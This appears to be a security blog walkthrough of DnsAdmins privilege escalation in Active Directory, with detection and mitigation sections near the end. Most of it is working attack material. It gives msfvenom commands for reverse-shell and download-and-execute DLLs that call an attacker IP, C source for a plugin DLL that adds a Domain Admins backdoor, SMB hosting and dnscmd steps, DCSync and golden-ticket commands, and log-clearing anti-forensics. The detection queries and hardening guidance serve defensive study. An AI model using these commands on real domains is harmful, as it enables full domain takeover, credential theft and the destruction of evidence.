
DnsAdmins Group Exploitation: From DNS to Domain Admin
Detailed walkthrough of DnsAdmins privilege escalation through DLL injection into DNS service, covering exploitation, cleanup, and mitigation strategies.
Introduction
The DnsAdmins group represents one of Active Directory's most underestimated attack vectors—a seemingly innocuous administrative group that, when exploited, provides a direct path to complete domain compromise. Members of this built-in group possess the ability to manage DNS servers in the domain, including loading arbitrary DLL plugins into the DNS service. Since the DNS service on domain controllers runs with NT AUTHORITY\SYSTEM privileges, this capability translates into code execution at the highest privilege level on domain controllers.
What makes DnsAdmins exploitation particularly dangerous is its stealth and legitimacy. Unlike exploitation of obvious privileged groups like Domain Admins or Enterprise Admins, DnsAdmins membership rarely triggers security alerts or appears in standard privilege escalation monitoring. Organizations often grant this membership to help desk personnel, junior administrators, or automated service accounts without fully understanding the security implications. A compromised account in this group becomes a silent stepping stone to complete domain takeover.
The attack leverages a powerful administrative feature rather than exploiting a vulnerability—the DNS service's plugin architecture. This design allows administrators to extend DNS functionality through custom DLLs that are loaded directly into the DNS service process. While Microsoft provides this capability for legitimate extensibility, it creates a privilege escalation vector when combined with insufficient access controls and monitoring. The result: a low-privilege DnsAdmins member can achieve Domain Admin-equivalent access through a series of straightforward commands.
Hidden Privilege Escalation
DnsAdmins exploitation doesn't require exploiting software vulnerabilities or bypassing security controls. It leverages a legitimate administrative feature that executes with SYSTEM privileges. Most security tools won't detect this attack because all actions appear as authorized DNS administration activities.
Technical Background
Understanding the DnsAdmins Group
DnsAdmins is a built-in security group created when the first Active Directory-integrated DNS server is installed in the domain. Members of this group have administrative access to DNS servers, including the ability to:
- Configure DNS server settings
- Create and manage DNS zones
- Configure DNS forwarders and root hints
- Load and configure server-level plugins (ServerLevelPluginDll)
- Start and stop the DNS service (with proper permissions)
Group Properties:
Distinguished Name: CN=DnsAdmins,CN=Users,DC=domain,DC=local
Group Scope: Domain Local
Group Type: Security
Default Members: None
Created: When first DNS server role is installedThe ServerLevelPluginDll Mechanism
The Windows DNS service supports custom plugins through the ServerLevelPluginDll registry value. This mechanism allows administrators to load custom DLLs that can hook into DNS query resolution:
Registry Location:
HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerLevelPluginDllHow it works:
- Administrator specifies DLL path in ServerLevelPluginDll registry value
- DNS service reads this value on startup
- DNS service loads the specified DLL into its process space
- DLL code executes with NT AUTHORITY\SYSTEM privileges
- DNS service calls exported functions from the DLL during query processing
Key Technical Details:
| Aspect | Description | Security Implication |
|---|---|---|
| Execution Context | NT AUTHORITY\SYSTEM | Highest privilege level on Windows |
| DLL Loading | Occurs at DNS service start | Requires service restart to execute |
| Path Validation | No path restrictions | Can load DLLs from UNC paths |
| Function Exports | Specific exports required | DLL must implement DNS plugin interface |
| Verification | No digital signature check | Any DLL can be loaded |
DNS Plugin Interface
A valid DNS plugin DLL must export specific functions:
// Required exports for DNS plugin
DWORD WINAPI DnsPluginInitialize(
PLUGIN_ALLOCATOR_FUNCTION pDnsAllocateFunction,
PLUGIN_FREE_FUNCTION pDnsFreeFunction
);
DWORD WINAPI DnsPluginCleanup();
DWORD WINAPI DnsPluginQuery(
PSTR pszQueryName,
WORD wQueryType,
PSTR pszRecordOwnerName,
PDB_RECORD *ppDnsRecordListHead
);While a properly formatted plugin should implement these exports, the mere act of loading the DLL triggers code execution, making the export requirements less critical for exploitation purposes.
Attack Prerequisites and Reconnaissance
Identifying DnsAdmins Membership
Check Current User Membership:
# PowerShell - Check if current user is in DnsAdmins
$identity = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object Security.Principal.WindowsPrincipal($identity)
$dnsAdminsRole = [Security.Principal.WindowsBuiltInRole]::Administrator
# Get group membership
$groups = $identity.Groups | ForEach-Object {
$_.Translate([Security.Principal.NTAccount])
}
$groups | Where-Object {$_ -like "*DnsAdmins*"}
# Alternative: Using whoami
whoami /groups | findstr DnsAdmins
# CMD - Direct check
net user %USERNAME% /domain | findstr /i "DnsAdmins"Enumerate All DnsAdmins Members:
# PowerShell - Get all members
Get-ADGroupMember -Identity "DnsAdmins" | Select-Object Name, SamAccountName, objectClass
# Using PowerView
Get-DomainGroupMember -Identity "DnsAdmins" | Select-Object MemberName, MemberSID
# Using net command
net group "DnsAdmins" /domainLinux Enumeration:
# Using ldapsearch
ldapsearch -x -h dc01.domain.local -D "[email protected]" -w password \
-b "CN=DnsAdmins,CN=Users,DC=domain,DC=local" member
# Using rpcclient
rpcclient -U "domain/user%password" dc01.domain.local
rpcclient $> querygroup 0x229
rpcclient $> querygroupmem 0x229
# Using CrackMapExec
crackmapexec ldap dc01.domain.local -u user -p password \
--query '(memberOf=CN=DnsAdmins,CN=Users,DC=domain,DC=local)' \
--attribute sAMAccountNameVerifying DNS Service Configuration
Check DNS Service Status:
# Verify DNS service is running
Get-Service DNS
# Check DNS service configuration
Get-WmiObject Win32_Service | Where-Object {$_.Name -eq "DNS"} |
Select-Object Name, State, StartMode, StartName
# Verify service runs as SYSTEM
Get-Process | Where-Object {$_.ProcessName -eq "dns"} |
Select-Object ProcessName, Id, StartTime, @{N='User';E={(Get-WmiObject Win32_Process -Filter "ProcessId = $($_.Id)").GetOwner().User}}Check Current ServerLevelPluginDll Setting:
# Check if plugin is already configured
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" -Name ServerLevelPluginDll -ErrorAction SilentlyContinue
# Remote check (requires admin rights)
Invoke-Command -ComputerName dc01 -ScriptBlock {
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" -Name ServerLevelPluginDll -ErrorAction SilentlyContinue
}Permission Verification
Check DNS Service Permissions:
# Get service security descriptor
$service = Get-WmiObject Win32_Service -Filter "Name='DNS'"
$service.GetSecurityDescriptor().Descriptor.DACL
# Check user permissions on DNS service
$identity = [Security.Principal.WindowsIdentity]::GetCurrent()
$sid = $identity.User.Value
# Using sc.exe to show service security
sc.exe sdshow DNS
# Decode SDDL to readable format
$sddl = (sc.exe sdshow DNS)[1]
ConvertFrom-SddlString -Sddl $sddl -Type ServiceTypical DnsAdmins Permissions:
The service security descriptor should show:
- RP (SERVICE_START): Read permissions, Start service
- WP (SERVICE_STOP): Write permissions, Stop service
- DT (SERVICE_PAUSE_CONTINUE): Pause and continue service
- LO (SERVICE_INTERROGATE): Query service status
- RC (READ_CONTROL): Read security descriptorExploitation Methodology
Phase 1: Creating the Malicious DLL
Option 1: Simple DLL with msfvenom
# Generate DLL to add user to Domain Admins
msfvenom -p windows/x64/exec \
cmd='net group "Domain Admins" backdoor /add /domain' \
-f dll -o adduser.dll
# Generate reverse shell DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 \
-f dll -o dns_plugin.dll
# Generate DLL to execute PowerShell payload
msfvenom -p windows/x64/exec \
cmd='powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString(\"http://10.10.14.5/payload.ps1\")"' \
-f dll -o dns_plugin.dllOption 2: Custom C DLL with DnsPluginQuery Implementation
// dns_plugin.c - Proper DNS plugin with malicious payload
#include <windows.h>
#include <stdio.h>
// DNS plugin exports
__declspec(dllexport) DWORD WINAPI DnsPluginInitialize(
PVOID pDnsAllocateFunction,
PVOID pDnsFreeFunction)
{
// Execute payload on initialization
system("net user backdoor Password123! /add /domain");
system("net group \"Domain Admins\" backdoor /add /domain");
return ERROR_SUCCESS;
}
__declspec(dllexport) DWORD WINAPI DnsPluginCleanup()
{
return ERROR_SUCCESS;
}
__declspec(dllexport) DWORD WINAPI DnsPluginQuery(
PCHAR pszQueryName,
WORD wQueryType,
PCHAR pszRecordOwnerName,
PVOID *ppDnsRecordListHead)
{
return ERROR_SUCCESS;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// Also execute on DLL load
system("net user backdoor Password123! /add /domain");
system("net group \"Domain Admins\" backdoor /add /domain");
break;
}
return TRUE;
}# Compile on Linux with MinGW
x86_64-w64-mingw32-gcc dns_plugin.c -shared -o dns_plugin.dll
# Compile on Windows
cl /LD dns_plugin.c /link /EXPORT:DnsPluginInitialize /EXPORT:DnsPluginCleanup /EXPORT:DnsPluginQueryOption 3: Using Mimilib.dll from Mimikatz
# Download and modify mimilib
git clone https://github.com/gentilkiwi/mimikatz.git
cd mimikatz/mimilib
# Edit kdns.c to add custom payload
# Modify the DnsPluginQuery function:DWORD WINAPI kdns_DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PDB_RECORD *ppDnsRecordListHead)
{
FILE * kdns_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
if(kdns_logfile = _wfopen(L"kiwidns.log", L"a"))
#pragma warning(pop)
{
klog(kdns_logfile, L"%S (%hu)\n", pszQueryName, wQueryType);
fclose(kdns_logfile);
// Add payload here
system("cmd.exe /c net user backdoor Password123! /add /domain && net group \"Domain Admins\" backdoor /add /domain");
}
return ERROR_SUCCESS;
}Phase 2: Hosting and Delivering the DLL
Option 1: SMB Share (Most Common)
# On Kali Linux - Set up SMB share
impacket-smbserver -smb2support share $(pwd)
# With authentication
impacket-smbserver -smb2support -username attacker -password Password123! share $(pwd)
# Verify DLL is accessible from target
# On Windows:
dir \\10.10.14.5\share\dns_plugin.dllOption 2: WebDAV Server
# Install wsgidav
pip3 install wsgidav
# Start WebDAV server
wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root $(pwd)
# Access from Windows
net use * http://10.10.14.5/dns_plugin.dllOption 3: Local Path (Requires Write Access)
# Copy DLL to writable location on DC
Copy-Item \\10.10.14.5\share\dns_plugin.dll C:\Windows\Temp\
# Verify permissions
icacls C:\Windows\Temp\dns_plugin.dllPhase 3: Configuring DNS Plugin
Using dnscmd Utility:
# Configure ServerLevelPluginDll to load malicious DLL
dnscmd.exe /config /serverlevelplugindll \\10.10.14.5\share\dns_plugin.dll
# Expected output:
# Registry property serverlevelplugindll successfully reset.
# Command completed successfully.
# Using local path
dnscmd.exe /config /serverlevelplugindll C:\Windows\Temp\dns_plugin.dll
# Verify configuration
dnscmd.exe /info /serverlevelplugindll
# View registry directly
reg query \\dc01\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDllRemote Configuration:
# Configure from remote machine (requires DnsAdmins membership)
dnscmd.exe dc01.domain.local /config /serverlevelplugindll \\10.10.14.5\share\dns_plugin.dll
# Using PowerShell remoting
Invoke-Command -ComputerName dc01 -ScriptBlock {
dnscmd.exe localhost /config /serverlevelplugindll \\10.10.14.5\share\dns_plugin.dll
}Common Errors and Solutions:
Error: "DNS Server failed to reset registry property. Status = 5 (0x00000005)"
Solution: User is not member of DnsAdmins group
Error: "Command failed: ERROR_ACCESS_DENIED"
Solution: Verify DnsAdmins membership and group policy refresh
Error: The path is not valid
Solution: Ensure UNC path is accessible from domain controllerPhase 4: Restarting the DNS Service
Check Restart Permissions:
# Verify user has rights to restart DNS service
$user = [Security.Principal.WindowsIdentity]::GetCurrent().Name
$sid = wmic useraccount where name='%USERNAME%' get sid /format:list
# Check service permissions
sc.exe sdshow DNS | findstr $sidRestart DNS Service:
# Stop DNS service
sc.exe stop dns
# Verify service stopped
sc.exe query dns
# Start DNS service (triggers DLL load)
sc.exe start dns
# Alternative: Combined command
sc.exe stop dns && timeout /t 3 && sc.exe start dnsRemote Restart:
# Using PowerShell remoting
Invoke-Command -ComputerName dc01 -ScriptBlock {
Restart-Service DNS -Force
}
# Using sc.exe remotely
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
# Using WMI
Get-WmiObject -ComputerName dc01 -Class Win32_Service -Filter "Name='DNS'" |
Invoke-WmiMethod -Name StopService
Start-Sleep -Seconds 5
Get-WmiObject -ComputerName dc01 -Class Win32_Service -Filter "Name='DNS'" |
Invoke-WmiMethod -Name StartServiceMonitoring Service Status:
# Watch for service restart
while ($true) {
$status = (Get-Service -ComputerName dc01 -Name DNS).Status
Write-Host "[$(Get-Date -Format 'HH:mm:ss')] DNS Service: $status"
if ($status -eq 'Running') {
Write-Host "[+] DNS service restarted - payload should have executed"
break
}
Start-Sleep -Seconds 2
}Phase 5: Verification and Post-Exploitation
Verify Payload Execution:
# Check if user was added (if using adduser payload)
net group "Domain Admins" /domain | findstr backdoor
# Check for reverse shell connection
# On attacker machine:
nc -lvnp 4444
# Test new credentials
runas /user:domain\backdoor cmd.exe
# Verify with CrackMapExec
crackmapexec smb dc01.domain.local -u backdoor -p Password123! --samTroubleshooting Failed Exploitation:
# Check DNS service logs
Get-WinEvent -FilterHashtable @{LogName='DNS Server';StartTime=(Get-Date).AddMinutes(-10)} |
Where-Object {$_.LevelDisplayName -eq 'Error'} |
Select-Object TimeCreated, Message
# Check System event log for service failures
Get-WinEvent -FilterHashtable @{LogName='System';ID=7000,7001,7023,7024;StartTime=(Get-Date).AddMinutes(-10)} |
Where-Object {$_.Message -like '*DNS*'}
# Check if DLL was loaded
Get-Process dns | Select-Object -ExpandProperty Modules | Where-Object {$_.FileName -like '*dns_plugin*'}Advanced Attack Scenarios
Scenario 1: DCSync After Exploitation
Once code execution is achieved, perform DCSync:
# Add DCSync rights to compromised account
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" `
-PrincipalIdentity backdoor `
-Rights DCSync -Verbose
# Perform DCSync
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator
# From Linux
impacket-secretsdump domain.local/backdoor:Password123!@dc01.domain.local -just-dcScenario 2: Golden Ticket Creation
# Extract krbtgt hash via DCSync
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt
# Create golden ticket
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:<hash> /id:500
# From Linux
impacket-lookupsid domain.local/backdoor:Password123!@dc01.domain.local
impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain domain.local Administrator
# Use ticket
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass dc01.domain.localScenario 3: Persistence Through Shadow Credentials
# Add shadow credentials to privileged account
$bytes = New-Object byte[] 2048
$rng = [System.Security.Cryptography.RandomNumberGenerator]::Create()
$rng.GetBytes($bytes)
$cert = New-SelfSignedCertificate -Subject "CN=ShadowCred" -KeyAlgorithm RSA -KeyLength 2048
# Add key credential attribute
Set-ADUser -Identity Administrator -KeyCredentialLink @{Add=$bytes}
# Request TGT using shadow credential
Rubeus.exe asktgt /user:Administrator /certificate:<cert> /password:<cert_password>Cleanup and Anti-Forensics
Removing the Malicious Plugin
Critical: Cleanup Must Be Performed Carefully
# Step 1: Verify current configuration
reg query \\dc01\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
# Step 2: Remove registry value
dnscmd.exe dc01 /config /serverlevelplugindll NULL
# Alternative: Direct registry deletion
reg delete \\dc01\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll /f
# Step 3: Restart DNS service to unload DLL
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
# Step 4: Verify removal
dnscmd.exe dc01 /info /serverlevelplugindll
# Should return: ServerLevelPluginDll = (NULL)Verify DNS Service Health:
# Test DNS resolution
nslookup dc01.domain.local dc01
# Verify service is running normally
Get-Service -ComputerName dc01 -Name DNS
# Check for errors
Get-WinEvent -ComputerName dc01 -FilterHashtable @{
LogName='DNS Server'
StartTime=(Get-Date).AddMinutes(-10)
Level=1,2,3
} | Select-Object TimeCreated, LevelDisplayName, MessageRemoving Forensic Evidence
# Clear command history
Clear-History
# Remove PowerShell transcript logs
Remove-Item $env:USERPROFILE\Documents\*transcript*.txt -Force
# Clear event logs (requires admin - use sparingly)
wevtutil cl "Windows PowerShell"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
# Remove DLL from share
Remove-Item \\10.10.14.5\share\dns_plugin.dll -Force
# Clear DNS debug logs
dnscmd.exe dc01 /config /logfilemaxsize 0
# Remove added user account (if applicable)
net user backdoor /delete /domainCovering Tracks
# Check audit logs for evidence
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4688,4689 # Process creation/termination
StartTime=(Get-Date).AddHours(-1)
} | Where-Object {
$_.Message -like '*dnscmd*' -or
$_.Message -like '*dns_plugin*'
}
# Clear specific events (admin required)
$events = Get-WinEvent -FilterHashtable @{LogName='Security'} |
Where-Object {$_.Message -like '*dnscmd*'}
foreach ($event in $events) {
# Note: This requires stopping the event log service
# wevtutil.exe clear-log Security
}Detection and Monitoring
Event Log Indicators
Key Event IDs to Monitor:
| Event ID | Log | Description | Indicator |
|---|---|---|---|
| 770 | DNS Server | Plugin loaded | ServerLevelPluginDll loaded |
| 4697 | Security | Service installed | New service creation |
| 7045 | System | Service installed | DNS service modification |
| 4688 | Security | Process creation | dnscmd.exe execution |
| 4656 | Security | Handle to object requested | DNS service registry access |
| 4663 | Security | Attempt to access object | DNS Parameters registry modification |
PowerShell Detection Query:
# Monitor for dnscmd.exe execution
Get-WinEvent -FilterHashtable @{
LogName='Microsoft-Windows-PowerShell/Operational'
ID=4104 # Script block logging
StartTime=(Get-Date).AddDays(-1)
} | Where-Object {
$_.Message -like '*dnscmd*' -and
$_.Message -like '*serverlevelplugindll*'
}
# Monitor registry modifications
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4657 # Registry value modified
StartTime=(Get-Date).AddDays(-1)
} | Where-Object {
$_.Message -like '*ServerLevelPluginDll*'
}SIEM Detection Rules
Splunk Query:
index=windows (EventCode=4688 Image="*dnscmd.exe" CommandLine="*serverlevelplugindll*")
OR (EventCode=4657 ObjectName="*\\DNS\\Parameters*" ObjectValueName="ServerLevelPluginDll")
OR (EventCode=770 source="DNS Server")
| stats count by ComputerName, User, CommandLine, ObjectName
| where count > 0Sentinel KQL Query:
SecurityEvent
| where EventID in (4688, 4657, 770)
| where (
(EventID == 4688 and Process contains "dnscmd.exe" and CommandLine contains "serverlevelplugindll")
or (EventID == 4657 and ObjectName contains "DNS\\Parameters" and ObjectValueName == "ServerLevelPluginDll")
or (EventID == 770)
)
| project TimeGenerated, Computer, Account, Process, CommandLine, ObjectName, ObjectValueName
| order by TimeGenerated descElastic Query:
{
"query": {
"bool": {
"should": [
{
"bool": {
"must": [
{"match": {"event.code": "4688"}},
{"wildcard": {"process.executable": "*dnscmd.exe"}},
{"wildcard": {"process.command_line": "*serverlevelplugindll*"}}
]
}
},
{
"bool": {
"must": [
{"match": {"event.code": "4657"}},
{"wildcard": {"registry.path": "*DNS\\Parameters*"}},
{"match": {"registry.value": "ServerLevelPluginDll"}}
]
}
}
],
"minimum_should_match": 1
}
}
}Proactive Monitoring Script
# dns_admin_monitor.ps1
$lastCheck = Get-Date
while ($true) {
# Check ServerLevelPluginDll registry value
$pluginDll = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" `
-Name ServerLevelPluginDll -ErrorAction SilentlyContinue
if ($pluginDll) {
$alert = @{
Timestamp = Get-Date
Alert = "CRITICAL: ServerLevelPluginDll configured"
Value = $pluginDll.ServerLevelPluginDll
Server = $env:COMPUTERNAME
}
# Send alert
$alert | ConvertTo-Json | Out-File -Append C:\SecurityLogs\DnsAdmin_Alerts.log
# Send email alert
Send-MailMessage -To "[email protected]" `
-From "[email protected]" `
-Subject "CRITICAL: DNS Plugin Configured" `
-Body ($alert | ConvertTo-Json) `
-SmtpServer "mail.domain.local"
}
# Check for dnscmd.exe in recent process creations
$suspiciousProcesses = Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4688
StartTime=$lastCheck
} | Where-Object {
$_.Properties[5].Value -like '*dnscmd.exe*' -and
$_.Properties[8].Value -like '*serverlevelplugindll*'
}
if ($suspiciousProcesses) {
$alert = @{
Timestamp = Get-Date
Alert = "SUSPICIOUS: dnscmd.exe executed with ServerLevelPluginDll"
Processes = $suspiciousProcesses | ForEach-Object {
@{
Time = $_.TimeCreated
User = $_.Properties[1].Value
CommandLine = $_.Properties[8].Value
}
}
}
$alert | ConvertTo-Json | Out-File -Append C:\SecurityLogs\DnsAdmin_Alerts.log
}
$lastCheck = Get-Date
Start-Sleep -Seconds 60
}Mitigation and Defense
Restrict DnsAdmins Membership
# Audit current DnsAdmins members
Get-ADGroupMember -Identity "DnsAdmins" |
Select-Object Name, SamAccountName, distinguishedName |
Export-Csv -Path "C:\Audits\DnsAdmins_Members_$(Get-Date -Format 'yyyyMMdd').csv"
# Remove unnecessary members
Remove-ADGroupMember -Identity "DnsAdmins" -Members "unnecessaryuser" -Confirm:$false
# Implement JIT access instead of permanent membership
# Use Privileged Access Management (PAM) solutionsImplement Registry Auditing
# Enable auditing on DNS Parameters registry key
$path = "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters"
$acl = Get-Acl $path
# Add audit rule for Everyone modifying ServerLevelPluginDll
$auditRule = New-Object System.Security.AccessControl.RegistryAuditRule(
"Everyone",
[System.Security.AccessControl.RegistryRights]::SetValue,
[System.Security.AccessControl.AuditFlags]::Success
)
$acl.AddAuditRule($auditRule)
Set-Acl -Path $path -AclObject $acl
# Verify audit rule
(Get-Acl $path).Audit | Format-Table -AutoSizeDNS Service Hardening
# Restrict DNS service permissions
# Remove DnsAdmins from having SERVICE_START/SERVICE_STOP rights
$service = "DNS"
$dnsAdminsSID = (Get-ADGroup "DnsAdmins").SID.Value
# Get current SDDL
$sddl = (sc.exe sdshow $service)[1]
# Remove DnsAdmins permissions from SDDL (manual editing required)
# Or use GUI: sc.exe sdset DNS "<modified_sddl>"
# Alternative: Disable remote DNS management
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" `
-Name "AllowRemoteAdministration" -Value 0Group Policy Restrictions
<!-- GPO to restrict dnscmd.exe execution -->
<!-- Computer Configuration > Policies > Windows Settings > Security Settings > Application Control Policies > AppLocker -->
<FilePathRule Id="..." Name="Block dnscmd.exe for non-admins" Description="" UserOrGroupSid="S-1-1-0" Action="Deny">
<Conditions>
<FilePathCondition Path="%SYSTEM32%\dnscmd.exe" />
</Conditions>
</FilePathRule>
<!-- Only allow for Domain Admins -->
<FilePathRule Id="..." Name="Allow dnscmd.exe for Domain Admins" Description="" UserOrGroupSid="S-1-5-21-domain-512" Action="Allow">
<Conditions>
<FilePathCondition Path="%SYSTEM32%\dnscmd.exe" />
</Conditions>
</FilePathRule>Implement Protected Process Light (PPL)
# Enable PPL for DNS service (Windows Server 2016+)
# This prevents unsigned DLLs from being loaded
# Modify service to run as PPL
reg add "HKLM\SYSTEM\CurrentControlSet\Services\DNS" /v Type /t REG_DWORD /d 0x110 /f
# Restart DNS service
Restart-Service DNS
# Verify PPL status
Get-Process dns | Select-Object ProcessName, ProtectionLevelPrevention Best Practices
Security Checklist
- Audit DnsAdmins membership monthly and remove unnecessary accounts
- Implement JIT access for DNS administration
- Enable registry auditing on DNS Parameters key
- Monitor Event IDs 770, 4688, 4657 for suspicious activity
- Restrict dnscmd.exe execution via AppLocker or WDAC
- Enable PPL for DNS service on supported systems
- Implement SIEM alerts for ServerLevelPluginDll modifications
- Regular security assessments including DnsAdmins attack simulation
- Document all legitimate DNS plugin usage
- Implement tiered administration model isolating DNS management
Alternative Approaches
Separate DNS Servers from Domain Controllers:
Security Best Practice:
┌────────────────────┐ ┌──────────────────┐
│ Domain Controller │ │ DNS Server │
│ │────▶│ │
│ No DNS Role │ │ Member Server │
└────────────────────┘ └──────────────────┘
Benefits:
- DNS compromise doesn't affect DC
- Reduces attack surface on DC
- Allows separate administration
- Easier monitoring and containmentDelegate DNS Management Granularly:
# Instead of DnsAdmins, create custom groups with minimal permissions
New-ADGroup -Name "DNS-ZoneManagers" -GroupScope DomainLocal `
-Description "Can manage DNS zones but not service configuration"
# Grant permissions only to specific DNS zones
$zone = "subdomain.domain.local"
$group = "DNS-ZoneManagers"
# Using dnscmd (limited to zone operations)
dnscmd.exe localhost /ZoneResetSecondaries $zone /SecureList $groupTesting and Validation
Simulated Attack Exercise
# Controlled test environment script
# Run with documented authorization
Write-Host "[*] DnsAdmins Exploitation Simulation" -ForegroundColor Yellow
Write-Host "[!] Authorized test only - Document all actions" -ForegroundColor Red
# Step 1: Verify test account in DnsAdmins
$testUser = "testdnsadmin"
$membership = Get-ADGroupMember -Identity "DnsAdmins" |
Where-Object {$_.SamAccountName -eq $testUser}
if (-not $membership) {
Write-Host "[-] Test user not in DnsAdmins group" -ForegroundColor Red
exit
}
# Step 2: Create harmless test DLL
# (Use simple DLL that logs to file instead of malicious payload)
$testDll = "C:\Temp\test_dns_plugin.dll"
# Step 3: Configure plugin (in test environment)
Write-Host "[*] Configuring ServerLevelPluginDll..." -ForegroundColor Cyan
dnscmd.exe localhost /config /serverlevelplugindll $testDll
# Step 4: Check detection mechanisms
Write-Host "[*] Checking if SIEM detected the activity..." -ForegroundColor Cyan
Start-Sleep -Seconds 10
# Query SIEM or local event logs
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4657
StartTime=(Get-Date).AddMinutes(-2)
} | Where-Object {$_.Message -like '*ServerLevelPluginDll*'}
# Step 5: Cleanup
Write-Host "[*] Cleaning up test configuration..." -ForegroundColor Cyan
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v ServerLevelPluginDll /f
Write-Host "[+] Simulation complete - Review logs and alerts" -ForegroundColor GreenReferences
- SpecterOps: Abusing DNSAdmins Privilege for Escalation in Active Directory
- Microsoft: DNS ServerLevelPluginDll Documentation
- ADSecurity: DnsAdmins Group Privilege Escalation
- MITRE ATT&CK: T1098 - Account Manipulation
Next Steps
If DnsAdmins vulnerabilities are identified:
- Immediately audit DnsAdmins group membership
- Implement monitoring for ServerLevelPluginDll registry modifications
- Enable auditing on DNS Parameters registry key
- Consider separating DNS role from domain controllers
- Implement JIT access for DNS administration privileges
- Explore related Active Directory privilege escalation techniques:
Takeaway: DnsAdmins group exploitation demonstrates how seemingly administrative groups can provide direct paths to domain compromise. Unlike obvious privileged groups, DnsAdmins membership rarely triggers security alerts, making it an attractive target for attackers. The combination of restricted group membership, registry auditing, service hardening, and comprehensive monitoring provides defense-in-depth against this privilege escalation vector. Treat DnsAdmins membership with the same scrutiny as Domain Admins—it's a single step away from complete domain control.
Last updated on
Active Directory ACL Abuse: The Silent Path to Domain Admin
Deep dive into Access Control List exploitation in Active Directory, covering ACE permissions, BloodHound analysis, and practical attack paths for privilege escalation.
Kerberoasting Attack and Defense
Kerberoasting attack guide targeting AD service accounts. Extract and crack service tickets offline for privilege escalation and lateral movement.